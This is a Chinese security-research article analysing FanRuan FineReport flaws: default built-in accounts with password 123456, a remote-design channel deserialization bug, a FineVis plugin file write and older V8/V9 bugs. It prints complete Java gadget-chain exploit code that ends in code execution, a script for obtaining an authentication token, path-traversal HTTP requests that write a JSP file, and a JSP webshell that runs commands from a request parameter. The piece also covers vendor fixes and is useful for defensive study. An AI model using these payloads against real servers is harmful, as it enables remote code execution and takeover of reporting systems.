本文首发于先知社区:https://xz.aliyun.com/news/91802
前言 在上一篇文章(https://xz.aliyun.com/news/91753)中,对帆软FineReport的路由结构和SQL注入类漏洞进行了详细分析。
这篇文章主要对之前遗留的channel接口反序列化漏洞和FineVis文件上传漏洞进行分析,最后列举一下V8 V9老版本的一些漏洞。
弱口令 影响版本
漏洞分析 实际的内置用户,以管理员登录后的页面为准:
任意挑选一个用户,密码都为123456,即可登录后台。
官方修复 删除默认的内置用户,或手动修改密码。
/remote/design/channel反序列化 影响版本 V11只能后台利用,<=11.0.32 有利用链
V10能前台利用,全版本都有利用链
漏洞分析 反序列化点 官方通告中给出了路由:
搜索路由,找到对应类:
跟进onMessage,这里V11和V10版本有明显不同。
V10版本没有任何校验,直接对数据进行处理,能够前台利用:
而V11版本是有身份校验的,只能后台利用:
两者的序列化数据都直接作为请求体。
实际上,官方通报中的这几个漏洞,在V11都只能后台利用:
这里先不分析鉴权,继续分析反序列化点,跟进最后一行的com.fr.workspace.WorkContext#handleMessage:
继续跟进handleMessage:
这里就是反序列化点了,能够看出,使用的是SafeInvocationSerializer,且经过一层Gzip包裹。
反序列化链 这个漏洞本质上就是找反序列化链,而涉及到的反序列化链有很多文章都分析过,所以这里仅简单分析一下。
由于没法找到每个版本的黑名单,所以不清楚链子具体是在哪个版本被禁用的,部分链子仅能给出大致的修复版本。
另外,帆软中的第三方包都位于com/fr/third中,包名和正常的不一样,所以利用链都不能直接用工具生成,需要自己手写。
还有一件事,官方说的HSQL漏洞命令执行漏洞,实际就是这个接口的反序列化漏洞,只是最新的绕过用到了HSQL去调public static方法:
这里的拥有远程设计权限和封禁路由,都和channel反序列化对应。
黑名单对比 通过黑名单对比,能够知道每个版本新增的过滤类,从而反推链子。
黑名单位于:
对比脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 """ 比较两个txt文件的行差异 找出增加的行和减少的行 """ import argparsefrom pathlib import Pathdef compare_files (file1: str , file2: str ) -> tuple [set , set ]: """ 比较两个文件的行差异 Args: file1: 原始文件路径(基准文件) file2: 新文件路径 Returns: tuple: (增加的行集合, 减少的行集合) """ with open (file1, 'r' , encoding='utf-8' ) as f: lines1 = {line.strip() for line in f if line.strip()} with open (file2, 'r' , encoding='utf-8' ) as f: lines2 = {line.strip() for line in f if line.strip()} added = lines2 - lines1 removed = lines1 - lines2 return added, removed def format_line (line: str , keyword: str | None ) -> str : """ 格式化输出行,如果包含关键词则用*标注 Args: line: 要输出的行内容 keyword: 关键词(可选) Returns: 格式化后的行 """ if keyword and keyword in line: return f" * {line} <--" return f" {line} " def main (): parser = argparse.ArgumentParser( description='比较两个txt文件的行差异' , formatter_class=argparse.RawDescriptionHelpFormatter, epilog=''' 示例: python compare_txt.py old.txt new.txt python compare_txt.py old.txt new.txt "Servlet" python compare_txt.py old.txt new.txt "Servlet" --output result.txt ''' ) parser.add_argument('file1' , help ='原始文件路径(基准文件)' ) parser.add_argument('file2' , help ='新文件路径' ) parser.add_argument('keyword' , nargs='?' , default=None , help ='关键词,匹配的行会用*标注(可选)' ) parser.add_argument('--output' , '-o' , help ='输出结果到指定文件(可选)' ) parser.add_argument('--sort' , '-s' , action='store_true' , help ='按字母顺序排序输出' ) args = parser.parse_args() if not Path(args.file1).exists(): print (f"错误: 文件 '{args.file1} ' 不存在" ) return if not Path(args.file2).exists(): print (f"错误: 文件 '{args.file2} ' 不存在" ) return added, removed = compare_files(args.file1, args.file2) output_lines = [] output_lines.append("=" * 60 ) output_lines.append(f"基准文件: {args.file1} " ) output_lines.append(f"比较文件: {args.file2} " ) if args.keyword: output_lines.append(f"关键词: {args.keyword} " ) output_lines.append("=" * 60 ) output_lines.append(f"\n【减少的行】({len (removed)} 个)" ) output_lines.append("-" * 40 ) if removed: sorted_removed = sorted (removed) if args.sort else removed for line in sorted_removed: output_lines.append(format_line(line, args.keyword)) else : output_lines.append(" (无)" ) output_lines.append(f"\n【增加的行】({len (added)} 个)" ) output_lines.append("-" * 40 ) if added: sorted_added = sorted (added) if args.sort else added for line in sorted_added: output_lines.append(format_line(line, args.keyword)) else : output_lines.append(" (无)" ) with open (args.file1, 'r' , encoding='utf-8' ) as f: count1 = len ([l for l in f if l.strip()]) with open (args.file2, 'r' , encoding='utf-8' ) as f: count2 = len ([l for l in f if l.strip()]) output_lines.append("\n" + "=" * 60 ) output_lines.append("统计信息:" ) output_lines.append(f" 基准文件行数: {count1} " ) output_lines.append(f" 比较文件行数: {count2} " ) output_lines.append(f" 减少行数: {len (removed)} " ) output_lines.append(f" 增加行数: {len (added)} " ) output_lines.append("=" * 60 ) result = '\n' .join(output_lines) print (result) if args.output: with open (args.output, 'w' , encoding='utf-8' ) as f: f.write(result) print (f"\n结果已保存到: {args.output} " ) if __name__ == '__main__' : main()
我挑选了10.0.19,11.0.28,11.5.5,11.5.8进行对比,对比结果在:
https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/blacklist
hibernate链 https://blog.potatowo.top/2024/11/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHibernate/#%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90
HashMap + TypedValue + TemplatesImpl
hiberate依赖中的TypedValue#hashCode能够调用getter方法,可以接TemplatesImpl#getOutputProperties
调用栈(非帆软包名):
1 2 3 4 5 6 7 TypedValue.hashCode() ValueHolder.DefferedInitializer.initialize() org.hibernate.type.ComponentType#getHashCode(java.lang.Object) org.hibernate.type.ComponentType#getPropertyValue(java.lang.Object, int) org.hibernate.tuple.component.PojoComponentTuplizer.getPropertyValue-super->org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue org.hibernate.property.access.spi.GetterMethodImpl#get method.invoke()
这个是最早被禁的,目前基本用不了
TreeBag链 https://forum.butian.net/share/2806
TreeBag + ClassComparator + VersionComparator + POJONode
TreeBag位于cc或cc4依赖中,帆软中存在:
TreeBag#readObject能触发到compare。
com.fr.base.ClassComparator#compare能实例化一个Comparator,并调用其compare:
org.freehep.util.VersionComparator#compare能够调用toString
com.fr.third.fasterxml.jackson.databind.node.POJONode#toString能调用getter方法。
最后走java.security.SignedObject#getObject触发二次反序列化
调用栈:
1 2 3 4 5 6 7 org.apache.commons.collections.bag.TreeBag#readObject java.util.TreeMap#put java.util.TreeMap#compare com.fr.base.ClassComparator#compare org.freehep.util.VersionComparator#compare com.fr.third.fasterxml.jackson.databind.node.POJONode#toString java.security.SignedObject#getObject
这个在V10最后一个版本已经修复-2024.3.19-10.0.19;V11-2024.7.17-11.0.28已经修复(非最早修复版本)
TextAndMnemonicHashMap链 https://xz.aliyun.com/news/14869
https://blog.csdn.net/LiangYueSec/article/details/142096830
HashMap + HashTable + UIDefaults$TextAndMnemonicHashMap + JSONArray + DruidXADataSource + HSQL + 二次反序列化/JNDI
主要讲一下JSONArray。
com.fr.json.JSONArray
这里的JSONArray,跟fastjson的可不是同一个,不过其toString方法,仍然能触发getter调用。
跟进其toString方法。
如果学习过jackson POJO那条链子,对这个writeValueAsString应该有印象,这个就是能触发getter方法,下面是POJO链中的writeValueAsString位置:
不过这里略有不同,不能直接传入Object作为构造函数:
用ArrayList包一层即可:
这里触发的getter方法要换一个,因为之前的SignedObject已经ban了。
com.fr.third.alibaba.druid.pool.xa.DruidXADataSource#getXAConnection()能够触发JDBC连接,从而转化成JDBC利用:
帆软有HSQL的驱动,而HSQL在JDBC连接时,可以调用任意public static方法,从而进行二次反序列化或JNDI。
关于HSQL的利用,可以看浅蓝师傅和其他师傅的文章:
https://b1ue.cn/archives/458.html
https://xz.aliyun.com/news/9675
DruidXADataSource的构造:
1 2 3 4 5 6 7 8 9 10 11 12 DruidDataSource ds = new DruidXADataSource ();ds.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver" ); ds.setUrl("jdbc:hsqldb:mem:test" ); ds.setUsername("any" ); ds.setPassword("" ); ds.setInitialSize(1 ); ds.setValidationQuery("CALL \"org.terracotta.modules.ehcache.collections.SerializationHelper.deserialize\"(X'" +serData+ "');" ); ds.setLogWriter(null ); ds.setStatLogger(null ); ReflectTools.setFieldValue(ds,"transactionHistogram" ,null ); ReflectTools.setFieldValue(ds,"initedLatch" ,null );
V10全没修;V11-2024.7.17-11.0.28已修复(非最早修复版本)
ImmutableSetMultimap链 ImmutableSetMultimap + UsingToStringOrdering + JSONArray
对比11.0.28和11.5.5的黑名单:
这里看一下com.fr.third.guava.collect.ImmutableSetMultimap:
这里一开始会反序列化一个comparator,之前的反序列化链中有通过compare触发toString的,所以这里可以再去找找,有没有不在黑名单中的compare方法。这里使用tabby对fine-cbb-11.0.jar进行分析:
1 2 3 4 5 6 match (source:Method {NAME0:"com.fr.third.guava.collect.ImmutableSetMultimap#readObject"}) match (sink:Method {NAME:"compare"})-[r:CALL]->(callee:Method{NAME0:"java.lang.Object#toString"}) call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 10) yield path where none(n in nodes(path) where n.CLASSNAME in ["所有黑名单类"]) return path,r,callee limit 1
最后找到了com.fr.third.guava.collect.UsingToStringOrdering#compare:
不过中间部分的链子有点问题,分析了一下不太能利用。
但是现在已经指定链子的开头和结尾了,这里结合jar-analyzer-mcp,让AI进行分析:
https://github.com/jar-analyzer/jar-analyzer
最终也是顺利给出了利用链,只花费了几分钟,不得不说jar-analyzer-mcp非常好用。
根据AI的回答,写一下前半段POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import com.fr.third.guava.collect.ImmutableSetMultimap;import com.fr.third.guava.collect.Ordering;import tools.ReflectTools;import tools.UnsafeTools;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.util.Comparator;public class channel2 { public static void main (String[] args) throws Exception { getPayload(); } public static void getPayload () throws Exception { ImmutableSetMultimap<String, Object> multimap = ImmutableSetMultimap.<String, Object>builder() .put("key" , new ToStringClass ()) .put("key" , "value2" ) .build(); Ordering<Object> comparator = Ordering.usingToString(); Class<?> aClass = Class.forName("com.fr.third.guava.collect.RegularImmutableSortedSet" ); Object sortedSet = UnsafeTools.getObjectByUnsafe(aClass); ReflectTools.setFieldValue(sortedSet, "comparator" , comparator); ReflectTools.setFieldValue(multimap, "emptySet" , sortedSet); byte [] bytes = ReflectTools.ser2bytes(multimap); ReflectTools.deser(bytes, null ); } }
能够成功触发toString:
手动分析一下。
回到readObject:
看一下valuesBuilder:
这里显然返回ImmutableSortedSet.Builder。
所以应该跟进到com.fr.third.guava.collect.ImmutableSortedSet.Builder#build:
跟进sortAndDedup:
这里发现和上面AI给的链子不太一样,会直接进入Arrays.sort触发,跟进sort:
这里hi-lo=2,与ImmutableSetMultimap put的键值对数量有关,需要给同一个键put两个及以上的值才行。
跟进countRunAndMakeAscending:
最终在这里触发compare。
后面接DruidXADataSource.getXAConnection触发JDBC。
二次反序列化的方法选择org.terracotta.modules.ehcache.collections.SerializationHelper#deserialize
最终poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import com.fr.json.JSONArray;import com.fr.third.alibaba.druid.pool.DruidDataSource;import com.fr.third.alibaba.druid.pool.xa.DruidXADataSource;import com.fr.third.guava.collect.ImmutableSetMultimap;import com.fr.third.guava.collect.Ordering;import com.fr.third.springframework.aop.framework.AdvisedSupport;import tools.ReflectTools;import tools.StringTools;import tools.TemplatesGen;import tools.UnsafeTools;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.ArrayList;import java.util.Comparator;public class channel2 { public static void main (String[] args) throws Exception { getPayload(); } public static void getPayload () throws Exception { String serData = getSerData(); DruidDataSource ds = new DruidXADataSource (); ds.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver" ); ds.setUrl("jdbc:hsqldb:mem:test" ); ds.setUsername("any" ); ds.setPassword("" ); ds.setInitialSize(1 ); ds.setValidationQuery("CALL \"org.terracotta.modules.ehcache.collections.SerializationHelper.deserialize\"(X'" +serData+ "');" ); ds.setLogWriter(null ); ds.setStatLogger(null ); ReflectTools.setFieldValue(ds,"transactionHistogram" ,null ); ReflectTools.setFieldValue(ds,"initedLatch" ,null ); ArrayList<Object> list = new ArrayList <>(); list.add(ds); JSONArray jsonArray = new JSONArray (); jsonArray.add(list); ImmutableSetMultimap<String, Object> multimap = ImmutableSetMultimap.<String, Object>builder() .put("key" , jsonArray) .put("key" , "value2" ) .build(); Ordering<Object> comparator = Ordering.usingToString(); Class<?> aClass = Class.forName("com.fr.third.guava.collect.RegularImmutableSortedSet" ); Object sortedSet = UnsafeTools.getObjectByUnsafe(aClass); ReflectTools.setFieldValue(sortedSet, "comparator" , comparator); ReflectTools.setFieldValue(multimap, "emptySet" , sortedSet); byte [] bytes = ReflectTools.ser2bytes(multimap); ReflectTools.deser(bytes, null ); } public static String getSerData () throws Exception { Templates templates = TemplatesGen.getTemplates1(null , "D:/1tmp/classes/CalcAbs.class" ); ArrayList<Object> list = new ArrayList <>(); Class<?> clazz = Class.forName("com.fr.third.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(clazz.getClassLoader(), new Class []{Templates.class}, handler); list.add(proxy); JSONArray jsonArray = new JSONArray (); jsonArray.add(list); BadAttributeValueExpException bad = new BadAttributeValueExpException ("any" ); ReflectTools.setFieldValue(bad, "val" , jsonArray); byte [] bytes = ReflectTools.ser2bytes(bad); String s = StringTools.bytesToHexString(bytes); return s; } }
如果要打帆软,外面还得包一层GZip:
1 2 3 ByteArrayOutputStream baos = new ByteArrayOutputStream ();GZipSerializerWrapper.wrap(JDKSerializer.getInstance()).serialize((Serializable) multimap, baos); byte [] byteArray = baos.toByteArray();
用到的Tools类在我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/tools
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 at com.fr.third.alibaba.druid.pool.xa.DruidXADataSource.getXAConnection(DruidXADataSource.java:46) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at com.fr.third.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:688) at com.fr.third.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:772) at com.fr.third.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serializeContents(IndexedListSerializer.java:119) at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serialize(IndexedListSerializer.java:79) at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serialize(IndexedListSerializer.java:18) at com.fr.third.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:479) at com.fr.third.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:318) at com.fr.third.fasterxml.jackson.databind.ObjectMapper._writeValueAndClose(ObjectMapper.java:4719) at com.fr.third.fasterxml.jackson.databind.ObjectMapper.writeValueAsString(ObjectMapper.java:3964) at com.fr.json.revise.EmbedJson.encode(EmbedJson.java:99) at com.fr.json.JSONArray.encode(JSONArray.java:560) at com.fr.json.JSONArray.toString(JSONArray.java:590) at com.fr.third.guava.collect.UsingToStringOrdering.compare(UsingToStringOrdering.java:29) at java.util.TimSort.countRunAndMakeAscending(TimSort.java:355) at java.util.TimSort.sort(TimSort.java:220) at java.util.Arrays.sort(Arrays.java:1512) at com.fr.third.guava.collect.ImmutableSortedSet$Builder.sortAndDedup(ImmutableSortedSet.java:454) at com.fr.third.guava.collect.ImmutableSortedSet$Builder.build(ImmutableSortedSet.java:564) at com.fr.third.guava.collect.ImmutableSortedSet$Builder.build(ImmutableSortedSet.java:429) at com.fr.third.guava.collect.ImmutableSetMultimap.readObject(ImmutableSetMultimap.java:630)
V11-2025.3.31-11.0.32修复
V11 鉴权分析 反序列化链讲完了,不过V11版本只能后台执行。现在分析一下,知道账密的情况下,如何进行后台利用。
目标是通过validate:
能看出来需要一个token,但是哪里产生token呢?下面来分析一下。
漏洞的路由是,/remote/design/channel,即远程设计相关的一个接口。这里的远程设计指什么?我们知道,帆软报表下载好后,我们都是通过一个designer.exe启动,这就是设计器。我们也可以通过web端进行登录,这个就是服务器。而远程设计,就是指服务器部署在远端,而本地只安装了设计器,我们想要在本地编辑远程的报表,那就需要通过登录,连接到远程的服务器。
参考官方文档,https://help.fanruan.com/finereport/doc-view-1388.html?source=3,文档的第三部分有提到怎么连接远程服务器。这里我们按照文档步骤,在设计器里尝试连接,同时在wireshark里对8075端口的流量进行捕捉:
最终就能获取到进行远程登录时,依次访问了哪几个路由:
/webroot/decision/remote/design/vt 返回是否支持远程登录
/webroot/decision/remote/design/check 返回各种密钥:
/webroot/decision/remote/design/verify 发送用户名,加密后的密码等,返回jwt,即token,这里需要注意一个请求头transEncryptLevel: 1,这个请求头告诉服务器用什么解密方式:
虽然现在能够通过抓包获取jwt,但是如果能够知道怎么在代码中直接加密的话,就不用每次都抓包了。所以现在分析一下/remote/design/verify中password的解密过程,尝试反推出加密。
/design/verify对应com.fr.decision.extension.report.api.remote.RemoteDesignResource#saferGetRemoteToken
解密的方法已经明确,这里直接让AI进行分析:
不过AI一开始只给出了AES情况和SM4情况的脚本,把/check返回的结果给AI,再次分析:
于是知道了这里应该使用RSA,加密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import paddef encrypt_password (plain_password: str , encryption_key: str ) -> str : """ 加密远程设计密码 Args: plain_password: 明文密码 encryption_key: 从 /remote/design/check 接口获取的 encryptionKey Returns: Base64 编码的加密密码 """ key_bytes = encryption_key.encode('utf-8' )[:16 ] key_bytes = key_bytes.ljust(16 , b'\x00' ) plain_bytes = plain_password.encode('utf-8' ) padded_data = pad(plain_bytes, AES.block_size) cipher = AES.new(key_bytes, AES.MODE_ECB) encrypted_bytes = cipher.encrypt(padded_data) return base64.b64encode(encrypted_bytes).decode('utf-8' ) if __name__ == "__main__" : encryption_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy4eFv3OWpYQbMztQKuilH5LDCasAphTa\r\nXw5Vodtt4accTo57w42iL6nJ8PsnsC/NvSp0JyluMYtkOBVv75GUCyO5PEP/Oe6AgrEGeP5GXzky\r\nW7us4Qm7Ss71WLPqNhwgkPdzC16aJuwTthLheNGL9XIP7ogmB7EAgSi44ut2B/zknO20ODzWnaR4\r\nExHDo2LpaX0BJszKhSi61k6K81WVl7jFLWflBsx8JCxDIUeX+gG1/d0Rt+ki0MHwbgdSIouQNvRh\r\n1J7pcOIwIQ9gTbvJ/Tu5i1YQM/p2yJo4x5KXIJXBgkAJJgR4USPSxq0b/wNMgfMf7YfspjBdlbUk\r\n+x/7mwIDAQAB" password = "password" encrypted = encrypt_password(password, encryption_key) print (f"加密后的密码: {encrypted} " )
发包验证:
成功获取到jwt。
在发送请求包时,在请求头中加入username和token字段即可后台利用。虽然一般不会给测试用户分配远程设计权限,但还是可以尝试一下,配合前面的弱口令漏洞进行利用。
无权限用户返回:
官方修复 先看一下官方黑名单的位置:
再看一下具体是怎么加载黑名单的。
其序列化工具类SerializerHelper中有一个方法safeDeserialize:
默认调用SafeSerializerSummaryAdaptor进行反序列化,跟进deserialize:
再跟进safeDeserialize,deserialize:
这里使用了自定义的ObjectInputStream进行反序列化。
看一下CustomObjectInputStream:
实现了resolveClass,并在静态代码块中加载了黑名单。
除了直接使用com.fr.serialization.SerializerHelper#safeDeserialize,有时候还会使用deserialize并传入SafeInvocationSerializer,流程本质也一样:
FineVis插件任意文件写入 漏洞版本插件:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/plugins
然后去web端的插件管理中,选择从本地安装即可。
影响版本
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /webroot/decision/view/duchamp/theme/item/copy HTTP/1.1 Host : localhost:8075Content-Type : application/x-www-form-urlencodedid = test&sourceID= test&config= {} POST / webroot/ decision/ view/ duchamp/ theme/ attach? id= test&attachID= 111 &metadata= %7 B%22 name%22 %3 A%22 ../ ../ ../ ../ test.jsp%22 %7 D HTTP/1.1 Host: localhost:8075 Content-Type: multipart/form-data ; boundary = - ---WebKitFormBoundary7MA4YWxkTrZu0gW- ---WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name = "file" ; filename = "test.txt" Content-Type: text/plain < % out.println("test321abc" ) %> - ---WebKitFormBoundary7MA4YWxkTrZu0gW--POST /webroot/decision/view/duchamp/theme/resource2template HTTP/1.1 Host: localhost:8075 Content-Type: application/json {"id" :"test" ,"attachIDs" :["111" ],"reuseIDs" :["" ],"tplPath" :"" } GET /webroot/test.jsp HTTP/1.1 Host: localhost:8075
漏洞分析 POC中的三个路由对应三个方法,一个个看。
1、注册模板
com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#copy:
跟进copy:
这里根据sourceID去FVSTemplateStyleConfig里取出FVSTemplateStyle。不过可以看到,就算sourceID没有对应的模板,也会在if里new一个。所以sourceID随便写就行。
最后一行会在FVSTemplateStyleConfig更新模板,传入的id与模板对应。
2、上传模板图片
com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#uploadAttachImage:
跟进:
首先从模板配置中根据id取出模板,所以这里的id得跟第一个请求中的一样。
然后向模板中添加附件图片,附件图片与attachID关联。
接着向模板中添加附件元数据,附件元数据也与attachID关联。
最后根据id更新模板配置中的模板。
156、157那两行就是负责从请求中取数据的。
3、应用附件图片到模板
com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#applyThemeResource2Tpl:
跟进com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper#applyThemeResource2Tpl:
跟进id从模板配置中取出模板。
根据模板中的attachID,依次取出相应的附件图片。
从元数据中取出name字段,作为写入路径。
将图片写入指定路径。
最后整理一下涉及到的几个关键类
官方修复 最新的4.7.1版本插件中,后面两个请求对应的方法都已经被删除:
V8 V9老版本漏洞 因为版本比较老,利用性不高,所以这里仅列举,不做分析,不确保payload能使用。
1、local_install 文件上传
https://forum.butian.net/share/2390
这个是 V8 版本的漏洞了
2、op=chart&cmd=get_geo_json 任意文件读取 + fr_log命令执行
https://forum.butian.net/share/2390
V8 版本漏洞
3、任意文件覆盖漏洞
https://github.com/z1bracd/SecurityList/blob/5a99da1aa91685827c1e72429fff9dc63ce7967c/Java_OA/FineReportAudit.md#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E
1 2 3 POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1 {"__CONTENT__":" <% java.io.InputStream in = Runtime.getRuntime ().exec(request .getParameter(\"cmd\" )).getInputStream();int a = -1 ;byte[] b = new byte[2048 ];while ((a=in .read(b))!=-1 ){out.println(new String (b));}%> ","__CHARSET__":"UTF-8"}
V9 版本漏洞
4、实战深度利用
https://mp.weixin.qq.com/s/AgMYcyq_TE4X8MvZ7cjiPQ
附录 主要记录一些官方文档的位置:
https://help.fanruan.com/finereport/doc-view-4833.html 安全漏洞声明
https://help.fanruan.com/finereport/doc-view-1388.html?source=3 远程设计相关
参考 https://blog.potatowo.top/2024/11/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHibernate/#%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90
https://forum.butian.net/share/2806
https://blog.csdn.net/LiangYueSec/article/details/142096830
https://xz.aliyun.com/news/14869
https://b1ue.cn/archives/458.html
https://xz.aliyun.com/news/9675
https://forum.butian.net/share/2390
https://github.com/z1bracd/SecurityList/blob/5a99da1aa91685827c1e72429fff9dc63ce7967c/Java_OA/FineReportAudit.md#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E
https://mp.weixin.qq.com/s/AgMYcyq_TE4X8MvZ7cjiPQ